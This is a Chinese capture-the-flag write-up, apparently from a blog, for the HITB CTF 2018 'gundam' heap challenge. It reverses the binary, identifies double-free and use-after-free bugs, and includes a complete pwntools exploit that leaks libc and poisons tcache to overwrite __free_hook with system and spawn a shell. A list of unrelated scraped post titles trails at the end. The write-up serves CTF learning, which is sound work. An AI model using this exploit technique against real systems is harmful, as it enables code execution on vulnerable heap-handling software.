前言

开始挑战堆题, 做一道2018年HITBCTF赛题的复现
ctfhub有题目环境https://www.ctfhub.com/#/challenge搜索gundam
BUUCTF也有
不过线上题目环境和CTF-All-in-one的有出入, 测试过发现本地能打通的exp, 远程通过劫持hook的打法是打不通的, 之后另出一篇解远程打法

解题过程

题目文件在CTF-All-in-one有提供, 路径/src/writeup/6.1.19_pwn_hitbctf2018_gundam

这里需要用change_ld.py脚本更换pwn文件的ld版本(除此之外还可以用patchelf/docker更换版本)
形成习惯, 还是统一使用patchelf执行
下载libc-2.26.so和对应ld.so文件放到gundam目录下

patchelf --replace-needed libc.so.6 ./libc-2.26.so pwn
patchelf --set-interpreter ./ld-2.26.so pwn


老规矩, 先运行查看程序流程

逆向分析一轮

查看创建gundam的函数sub_B7D

__int64 sub_B7D()
{int v1; // [rsp+0h] [rbp-20h] BYREFunsigned int i; // [rsp+4h] [rbp-1Ch]void *s; // [rsp+8h] [rbp-18h]void *buf; // [rsp+10h] [rbp-10h]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);s = 0LL;buf = 0LL;if ( (unsigned int)dword_20208C <= 8 ){s = malloc(0x28uLL);memset(s, 0, 0x28uLL);buf = malloc(0x100uLL);if ( !buf ){puts("error !");exit(-1);}printf("The name of gundam :");read(0, buf, 0x100uLL);*((_QWORD *)s + 1) = buf;printf("The type of the gundam :");__isoc99_scanf("%d", &v1);if ( v1 < 0 || v1 > 2 ){puts("Invalid.");exit(0);}strcpy((char *)s + 16, &aFreedom[20 * v1]);*(_DWORD *)s = 1;for ( i = 0; i <= 8; ++i ){if ( !qword_2020A0[i] ){qword_2020A0[i] = s;break;}}++dword_20208C;}return 0LL;
}

s是gundam结构体, buf用来存放name, 结构体大小为0x28, gundam的factory数组是qword_2020A0, 要求长度<=8, dword_20208C表示当前gundam的数目, 另外注意buf在输入name时没有在末尾添加’\x00’也没有初始化, 所以可能泄露信息和存在上一轮留下的有用信息

接下来sub_EF4是打印现有的gundam操作

sub_D32是删除gundam

__int64 sub_D32()
{unsigned int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);if ( dword_20208C ){printf("Which gundam do you want to Destory:");__isoc99_scanf("%d", &v1);if ( v1 > 8 || !qword_2020A0[v1] ){puts("Invalid choice");return 0LL;}*qword_2020A0[v1] = 0;free(*(qword_2020A0[v1] + 8LL));}else{puts("No gundam");}return 0LL;
}

先将gundam是否在用的标志置为0 *qword_2020A0[v1] = 0, 然后释放buf free(*(qword_2020A0[v1] + 8LL))
一碰到free, 事情开始变得微妙起来, factory[i]在gundam删除后没有置空, buf指针是一直存在的, factory[i]->buf可能被重复释放, 另外buf指针因为没有设为null, 所以也可能存在UAF漏洞, 还有一个逻辑漏洞, 那就是释放一个gundam之后没有将全局计数器dword_20208C-1

最后是清理gundam的函数sub_E22

unsigned __int64 sub_E22()
{unsigned int i; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);for ( i = 0; i <= 8; ++i ){if ( qword_2020A0[i] && !*qword_2020A0[i] ){free(qword_2020A0[i]);qword_2020A0[i] = 0LL;--dword_20208C;}}puts("Done!");return __readfsqword(0x28u) ^ v2;
}

将标志为0的gundam释放, 即所有不为0的factor[i]置为0, 不过依然没有将factor[i]->buf置为0, 这里弥补了上面的计数器逻辑缺陷

可以分析出gundam的结构体

struct gundam{int in_use_tag;char *buf_ptr;char type[24];
}

漏洞利用

(1) 需要利用unsorted bin的chunk泄露libc基址, 计算__free_hook和system地址
(2) 利用类似fastbin的double free漏洞制造tcache poisoning, 以在&__free_hook分配chunk, 然后修改__free_hook为system地址
(3) 释放gundam, 调用free(), 此时会调用system("/bin/sh"), get shell

先释放7个chunk填满tcache, 然后释放第八个chunk会进入unsorted bin

再次申请回8个chunk, 第8个chunk没有加"\x00"阻断字符串, 所以Visit函数可以泄露main_arena地址, 这样libc基址就可以计算出来

逆向libc-2.26.so文件, 找到main_arena的地址

接下来是tcache poisoning, 利用double free将chunk0的fd指针指向chunk0本身

blow_up()

    build(p64(free_hook_addr))build(b"/bin/sh\x00")



这一步比较复杂, 解释一下, 第一个build(p64(free_hook_addr))会把chunk0的fd写成free_hook_addr, 此时free_hook就被链入tcache bin了, 下一步build(b"/bin/sh\x00")会将chunk0写成/bin/sh\x00, 此时chunk0被完全申请出来(申请了两次, 第二次申请chunk0就不在tcache中了), 最后再申请一个chunk, 就会申请到free_hook_addr位置处, 写入的数据就会覆盖free_hook_addr, 把这个劫持到system_addr, 再destory(1)就能调用system("/bin/sh\")

from pwn import *
import pwnlibcontext.log_level="debug"
sel = 0
url, port = "node4.buuoj.cn", 26290
filename = "./pwn"
io = process(filename) if sel == 0 else remote(url, port)
libc = ELF("./libc-2.26.so")def P():gdb.attach(io)pause()def build(name):io.sendlineafter("Your choice : ", "1")io.sendlineafter("gundam :", name)io.sendlineafter("The type of the gundam :", "0")def visit():io.sendlineafter("choice : ", "2")def destroy(idx):io.sendlineafter("choice : ","3")io.sendlineafter("Destory:", str(idx))def blow_up():io.sendlineafter("choice : ", "4")def leak():global free_hook_addr, system_addrfor i in range(9):build("Z" * 7)# P()for i in range(7):destroy(i)destroy(7)# P()blow_up()for i in range(8):build("Z" * 7)# P()visit()leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, b'\x00'))libc_base = leak - 0x3DAC78 # main_arena_addrfree_hook_addr = libc_base + libc.symbols["__free_hook"]system_addr = libc_base + libc.symbols["system"]log.info("libc base: 0x%x" % libc_base)log.info("__free_hook address: 0x%x" % free_hook_addr)log.info("system address: 0x%x" % system_addr)def overwrite():destroy(2)destroy(1)destroy(0)destroy(0)# P()blow_up()# P()build(p64(free_hook_addr))build(b"/bin/sh\x00")# P()build(p64(system_addr))def pwn():destroy(1)io.interactive()if __name__ == "__main__":leak()overwrite()pwn()

本地通了, 但是发现远程不通, 之后补充远程打法

总结

卡点

(1) change_ld之后, 出现这个错误, 程序运行不了

原因: 将ld.so与libc-2.26.so混淆, change_ld是用于更改ld版本, libc版本需要另外更改
(2) 在glibc-all-in-one查找匹配的ld.so, 发现没有libc-2.26.so版本可以下载, 陷入困难


在old_list存在2.26版本, 不过下载失败


搜索了大半个小时, 找到下载特定libc和ld版本的地址
https://github.com/5N1p3R0010/libc-ld.so
下载匹配2.26的ld.so, 更改二进制文件的ld.so与libc.so版本, 运行

(3) 理解double free修改__free_hook地址的原理

难点

本题启用了tcache, 需要先给tcache填7个chunk, 填满之后第8个chunk才会进入unsorted bin

利用fastbin dup二次释放漏洞, 同一个chunk两次进入tcache bin, 修改next指针构造tcache poisoning

参考

https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.19_pwn_hitbctf2018_gundam

http://blog.topsec.com.cn/pwn%E7%9A%84%E8%89%BA%E6%9C%AF%E6%B5%85%E8%B0%88%EF%BC%88%E4%BA%8C%EF%BC%89%EF%BC%9Alinux%E5%A0%86%E7%9B%B8%E5%85%B3/

https://lexsd6.github.io/2021/03/25/%E4%BF%AE%E6%94%B9ELF%E6%96%87%E4%BB%B6libc%E4%B8%BA%E6%8C%87%E5%AE%9A%E7%89%88%E6%9C%AC/

https://blog.csdn.net/Longyu_wlz/article/details/108550528

HITB CTF 2018 gundam 做题笔记相关推荐

  1. 攻防世界ctf题目easyupload做题笔记。

    刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固.做了半天没有解出来,最后还是看别人的题解做出来的.写下做题过程,也就是wp吧.为了方便以后复习巩固. 本题的主要考点为利用 ...

  2. C语言程序设计做题笔记之C语言基础知识(下)

    C 语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行 事.并且C是相当灵活的,用于执行计算机程序能完成的 ...

  3. verilog练习:hdlbits网站上的做题笔记(6)

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

  4. verilog练习:hdlbits网站上的做题笔记(5)

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

  5. verilog练习:hdlbits网站上的做题笔记(7)!强烈推荐!

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

  6. verilog练习:hdlbits网站上的做题笔记(8)

    前言 之前的文章<如何学习verilog,如何快速入门?>中提到了verilog学习,推荐了一个可以练习的网站:hdlbits网站,那自己也玩玩这个网站. 这篇文章,是接着<veri ...

  7. buuctf-MISC篇做题笔记(2)

    buuctf-MISC篇做题笔记(2) 第七题:基础破解 先看题目提示,可能也要暴力破解 打开后是RAR文件,需要密码 我是用RARpassword暴力破解,且根据题意已知是四位纯数字密码,设置破解的 ...

  8. 关于数据库设计的做题笔记——选择题+填空题+大题

    ✅ 一点整理后的做题笔记- 文章目录 一.选择题和填空题 二.大题 三.写后感 ● 我们用的教材: 一.选择题和填空题 逻辑设计阶段的任务包括设计视图,形成数据库的外模式.( ) A. 对 B. 错 ...

  9. CS231n_1_assignment1_KNN做题笔记

    笔记 KNN部分 1.python中一个向量,每个元素平方后求和: 方法1 sum = 0 for item in vector:sum += item*item 方法2 summ = numpy.s ...

  10. codetop做题笔记

    ##ACM模式 头文件: #include<bits/stdc++.h> #include<iostream> using namespace std; ##206. 反转链表 ...

最新文章

  1. 黄浴:基于深度学习的超分辨率图像技术发展轨迹一览
  2. C++学习手记四:继承和多态
  3. 【技术分享】京东电商广告和推荐的机器学习系统实践
  4. 【Groovy】MOP 元对象协议与元编程 ( 使用 Groovy 元编程进行函数拦截 | 重写 MetaClass#invokeMethod 方法拦截 JDK 中已经定义的函数 )
  5. 读取字符串的长度,一个汉字,为两个字节
  6. boost asio 简单示例
  7. 802.1X基本配置
  8. Unity动态对象优化
  9. libquickmail 0.1.6 发布,邮件发送包
  10. WCF远程服务器返回了意外响应: (413) Request Entity Too Large问题处理
  11. sql查询练习题的参考答案
  12. 微信小程序生成分享海报
  13. python实现五大基本算法语句_python实现各种最优化算法
  14. 利用sqlmap注入获取网址管理员账号密码
  15. 老程序员告诉你人工智能工程师与Python工程师有什么区别?
  16. 生信技能树linux虚拟机,科学网—Windows10安装Linux子系统Ubuntu 20.04LTS,轻松使用生信软件,效率秒杀虚拟机 - 刘永鑫的博文...
  17. opencv实现视频实时去雾算法
  18. [回顾]2007年木马病毒“英雄榜”,你中过几个
  19. 解决STM32F0/F1内部FLASH写操作导致中断程序无法响应的问题
  20. 周师计算机专业学校分数线,周口师范学院是几本?录取分数线是多少

热门文章

  1. 【报告分享】2021潮购人群洞察报告-巨量算数(附下载)
  2. 微信指纹支付原理浅析
  3. 程序员删库跑路案例之 —— 这家网站首页变图片
  4. 计算机切换用户屏幕闪,小编教您Win10切换用户后闪屏的具体办法
  5. 实现 Git 目录权限控制
  6. 大麦 Android 选座场景性能优化全解析
  7. ITMO-HDU Image Processing Lab4 Report
  8. AttributeError: module 'ahocorasick' has no attribute 'Automaton'解决
  9. 微信用户昵称特殊符号处理
  10. 疑犯追踪第一季/全集Person Of Interest迅雷下载